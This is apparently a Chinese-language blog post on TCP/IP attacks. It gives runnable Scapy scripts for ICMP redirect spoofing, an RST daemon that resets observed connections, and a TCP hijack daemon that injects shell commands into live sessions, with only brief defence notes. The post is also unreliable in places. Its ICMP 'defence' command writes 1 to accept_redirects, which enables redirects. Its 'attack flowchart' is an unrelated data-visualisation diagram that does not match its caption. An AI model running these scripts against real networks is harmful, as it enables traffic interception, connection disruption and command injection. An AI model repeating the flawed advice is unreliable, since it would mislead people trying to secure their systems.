TCP/IP 技術剖析與網路攻擊防禦策略

– 7 分鐘閱讀

深入理解 TCP/IP 協定堆疊是現代網路安全防禦的根本。本文首先介紹如何利用 Scapy 函式庫在 Python 環境下進行網路封包分析，並以偵測 SYN 掃描為例，示範如何識別攻擊行為。接著，文章討論了 ICMP 重新導向攻擊的原理和防禦方法，闡述攻擊者如何利用 ICMP 重新導向封包操控網路流量，並建議透過設定核心引數來阻止這類別攻擊。此外，文章還分析了 RST Daemon 攻擊，一種透過偽造 RST 封包中斷 TCP 連線的攻擊方式，並提出使用加密協定和入侵偵測系統等防禦措施。最後，文章以自動劫持守護程式為例，展示了更進階的 TCP 劫持技術，並提供了 Python 程式碼範例和流程圖，說明如何捕捉流量、檢查條件、注入資料等關鍵步驟，同時也探討了未來自動化工具在網路安全領域的發展趨勢。

利用TCP/IP技術進行網路攻擊

網路掃描與防禦

在進行網路安全研究時，經常需要檢測網路中是否有潛在的掃描行為。以下是一個簡單的Python程式碼範例，用於篩選出TCP流量並檢測掃描行為。

from scapy.all import sniff, IP, TCP

def packet_callback(packet):
    if packet.haslayer(TCP):
        ip_layer = packet.getlayer(IP)
        tcp_layer = packet.getlayer(TCP)
        if tcp_layer.flags == 0x02:  # SYN flag is set
            print(f"SYN packet detected from {ip_layer.src} to {ip_layer.dst}")

if __name__ == "__main__":
    interface = "eth0"  # 指定網路介面
    store = 0
    sniff(iface=interface, prn=packet_callback, store=store)

內容解密：

此程式碼利用Scapy函式庫來捕捉網路封包，並篩選出TCP流量。當偵測到SYN封包時，會列印預出來源和目的IP地址。這是因為SYN封包通常是用來建立TCP連線的初始步驟，因此可以用來檢測掃描行為。

防禦措施

除了檢測掃描行為，還可以考慮封鎖這些來源IP。這可以透過在Iptables中新增拒絕或丟棄規則來實作。例如：

iptables -A INPUT -s <源IP地址> -j DROP

然而，這種方法存在風險。如果攻擊者使用IP偽造技術，可能會導致合法的網路資源被封鎖。因此，應該搭配白名單機制和超時設定來避免這種情況。

ICMP重新導向攻擊

ICMP重新導向攻擊是一種更為隱蔽的中間人攻擊方式。攻擊者只需傳送一個ICMP重新導向封包，就能攔截目標主機到特定路由（如預設閘道）的所有流量。

以下是一個Python程式碼範例，用於傳送ICMP重新導向封包：

import sys
import getopt
from scapy.all import send, IP, ICMP

target = None
old_gw = None
new_gw = None

def usage():
    print(sys.argv[0] + """
    -t <target>
    -o <old_gw>
    -n <new_gw>
    """)
    sys.exit(1)

try:
    cmd_opts = "t:o:n:"
    opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
    usage()

for opt in opts:
    if opt[0] == "-t":
        target = opt[1]
    elif opt[0] == "-o":
        old_gw = opt[1]
    elif opt[0] == "-n":
        new_gw = opt[1]
    else:
        usage()

packet = IP(src=old_gw, dst=target) / ICMP(type=5, code=1, gw=new_gw) / IP(src=target, dst='0.0.0.0')
send(packet)

內容解密：

此程式碼構建了一個ICMP重新導向封包，該封包看起來像是從舊的閘道器傳送的，告訴目標主機有一個更好的路由可以使用。這樣可以攔截目標主機到特定路由的所有流量。

防禦措施

在Linux系統上，可以透過停用accept_redirects核心選項來防禦ICMP重新導向攻擊。例如：

echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects

或者編輯/etc/sysctl.conf檔案，設定：

net.ipv4.conf.all.accept_redirects = 0

BSD和Mac OS X系統也提供類別似的功能。

RST Daemon攻擊

RST Daemon攻擊是指攻擊者傳送一個帶有RST標誌的偽造TCP封包，以終止目標主機上的TCP連線。

以下是一個Python程式碼範例，用於實作RST Daemon攻擊：

import sys
import getopt
import pcapy
from scapy.all import send, IP, TCP
from impacket.ImpactDecoder import EthDecoder, IPDecoder
from impacket.ImpactDecoder import TCPDecoder

dev = "wlp2s0"
filter_str = ""
eth_decoder = EthDecoder()
ip_decoder = IPDecoder()
tcp_decoder = TCPDecoder()

def handle_packet(header, data):
    eth = eth_decoder.decode(data)
    ip = ip_decoder.decode(eth.get_data_as_string())
    tcp = tcp_decoder.decode(ip.get_data_as_string())

    if not tcp.get_SYN() and not tcp.get_RST() and not tcp.get_FIN() and tcp.get_ACK():
        packet = IP(src=ip.get_ip_dst(), dst=ip.get_ip_src()) / \
                 TCP(sport=tcp.get_th_dport(), dport=tcp.get_th_sport(),
                     seq=tcp.get_th_ack(), ack=tcp.get_th_seq() + 1,
                     flags="R")
        send(packet, iface=dev)

        print(f"RST {ip.get_ip_src()}:{tcp.get_th_sport()} -> {ip.get_ip_dst()}:{tcp.get_th_dport()}")

pcap_session = pcapy.Session(dev)
pcap_session.setfilter(filter_str)
pcap_session.loop(handle_packet)

內容解密：

此程式碼利用Scapy函式庫來捕捉網路封包，並解碼Ethernet、IP和TCP層。當偵測到ACK標誌且沒有SYN、RST或FIN標誌時，會構建並傳送一個RST封包來終止該連線。

防禦措施

防禦RST Daemon攻擊的方法包括使用加密協定（如SSL/TLS）來保護TCP連線，以及佈署入侵偵測系統（IDS）來檢測異常流量。

自動劫持守護程式：TCP劫持技術探討

在資安領域，TCP劫持技術被廣泛應用於測試網路安全性及模擬攻擊場景。自動劫持守護程式（Automatic Hijack Daemon）是這類別技術的重要組成部分，它能夠在特定條件下自動介入現有的TCP連線，注入自定義指令。這篇文章將探討自動劫持守護程式的實作方式，並分析其背後的技術原理及應用場景。

自動劫持守護程式的基本概念

自動劫持守護程式是一種能夠自動劫持TCP連線並注入指令的工具。它通常由兩個主要部分組成：一個捕捉和分析網路流量的嗅探器，以及一個能夠構建和傳送欺騙性封包的IP欺騙模組。當某些條件滿足時，守護程式會介入現有的TCP連線，將源和目標地址、埠及確認號進行調整，從而達到劫持連線並注入指令的目的。

實作自動劫持守護程式

以下是一段實作自動劫持守護程式的Python程式碼範例：

#!/usr/bin/env python3
import sys
import getopt
from scapy.all import send, sniff, IP, TCP

dev = "enp3s0f1"
srv_port = None
srv_ip = None
client_ip = None
grep = None
inject_data = "echo 'haha' > /tmp/hacked\n"
hijack_data = {}

def handle_packet(packet):
    ip = packet.getlayer("IP")
    tcp = packet.getlayer("TCP")
    flags = tcp.sprintf("%flags%")

    print("Got packet %s:%d -> %s:%d [%s]" % (ip.src, tcp.sport, ip.dst, tcp.dport, flags))

    if tcp.sprintf("%flags%") == "A" or tcp.sprintf("%flags%") == "PA":
        already_hijacked = hijack_data.get(ip.dst, {}).get('hijacked')

        if tcp.sport == srv_port and ip.src == srv_ip and not already_hijacked:
            print("Got server sequence " + str(tcp.seq))
            print("Got client sequence " + str(tcp.ack) + "\n")

            if grep in str(tcp.payload):
                hijack_data.setdefault(ip.dst, {})['hijack'] = True
                print("Found payload " + str(tcp.payload))
            elif not grep:
                hijack_data.setdefault(ip.dst, {})['hijack'] = True

            if hijack_data.setdefault(ip.dst, {}).get('hijack'):
                print("Hijacking %s:%d -> %s:%d" % (ip.dst, tcp.dport, ip.src, srv_port))

                packet = IP(src=ip.dst, dst=ip.src) / TCP(
                    sport=tcp.dport,
                    dport=srv_port,
                    seq=tcp.ack + len(inject_data),
                    ack=tcp.seq + 1,
                    flags="PA") / inject_data

                send(packet, iface=dev)

                hijack_data[ip.dst]['hijacked'] = True

def usage():
    print(sys.argv[0])
    print("""
    -c <client_ip> (optional)
    -d <data_to_inject> (optional)
    -g <payload_to_grep> (optional)
    -i <interface> (optional)
    -p <srv_port>
    -s <srv_ip>
    """)
    sys.exit(1)

try:
    cmd_opts = "c:d:g:i:p:s:"
    opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
    usage()

for opt in opts:
    if opt[0] == "-c":
        client_ip = opt[1]
    elif opt[0] == "-d":
        inject_data = opt[1]
    elif opt[0] == "-g":
        grep = opt[1]
    elif opt[0] == "-i":
        dev = opt[1]
    elif opt[0] == "-p":
        srv_port = int(opt[1])
    elif opt[0] == "-s":
        srv_ip = opt[1]

sniff(iface=dev, filter="tcp", prn=handle_packet)

內容解密：

這段程式碼實作了一個簡單的自動劫持守護程式，主要功能包括捕捉TCP流量、檢查特定條件並注入自定義資料。以下是詳細解說：

  • 匯入模組：首先匯入必要的Python模組，包括系統模組、命令列解析模組及Scapy模組。
  • 初始化變數：定義網路介面、伺服器埠、IP地址及其他相關變數。
  • 處理封包函式：handle_packet函式負責處理捕捉到的TCP封包。它會檢查封包是否符合特定條件（例如是否包含特定負載），如果符合則進行劫持並注入資料。
  • 命令列解析：使用getopt模組解析命令列引數，設定網路介面、伺服器埠及其他組態。
  • 啟動捕捉：使用Scapy的sniff函式啟動網路流量捕捉，並將捕捉到的封包交給handle_packet函式處理。

技術選型與考量

在實作自動劫持守護程式時，技術選型非常關鍵。Scapy是一個強大的Python網路函式庫，能夠方便地建立、操作及分析網路封包。它支援多種協定及封包型別，適合用於網路安全測試及攻擊模擬。

此外，Scapy還提供了豐富的功能來處理TCP/IP協定堆積疊，包括封包構建、過濾及傳輸。這使得開發者可以輕鬆地實作各種網路攻擊技術，如IP欺騙、TCP劫持等。

未來趨勢與應用評估

隨著網路安全威脅不斷演變，自動劫持守護程式將在測試與防禦方面發揮更大作用。未來可能會出現更多智慧化及自適應性更強的工具，能夠根據不同情境自動調整攻擊策略。

此外，隨著5G及物聯網技術的普及，網路裝置數量將大幅增加，這也為攻擊者提供了更多可利用的目標。因此，開發更先進的防禦機製成為必然趨勢。

圖示說明：攻擊流程圖

@startuml
skinparam backgroundColor #FEFEFE
skinparam componentStyle rectangle

title TCP/IP 技術剖析與網路攻擊防禦策略

package "資料視覺化流程" {
    package "資料準備" {
        component [資料載入] as load
        component [資料清洗] as clean
        component [資料轉換] as transform
    }

    package "圖表類型" {
        component [折線圖 Line] as line
        component [長條圖 Bar] as bar
        component [散佈圖 Scatter] as scatter
        component [熱力圖 Heatmap] as heatmap
    }

    package "美化輸出" {
        component [樣式設定] as style
        component [標籤註解] as label
        component [匯出儲存] as export
    }
}

load --> clean --> transform
transform --> line
transform --> bar
transform --> scatter
transform --> heatmap
line --> style --> export
bar --> label --> export

note right of scatter
  探索變數關係
  發現異常值
end note

@enduml

此圖示展示了自動劫持守護程式的基本工作流程。從捕捉流量開始，檢查是否符合特定條件，如果符合則進一步檢查是否已經被劫持過。如果沒有被劫持過則構建欺騙封包並發送出去。完成後等待下一個流量迴圈重複上述步驟。

未來隨著AI和機器學習技術的發展，自動化工具將變得更加智慧和高效。玄貓認為未來我們需要進行更多研究來提升這類別工具在檢測和防禦方面的能力。

希望這篇文章對於理解和實作自動劫持守護程式有所幫助。如果有任何問題或需要進一步解釋，請隨時留言交流。

玄貓 BlackCat

玄貓 BlackCat

技術愛好者，專注於分享程式開發、雲端技術與 AI 應用的心得體會。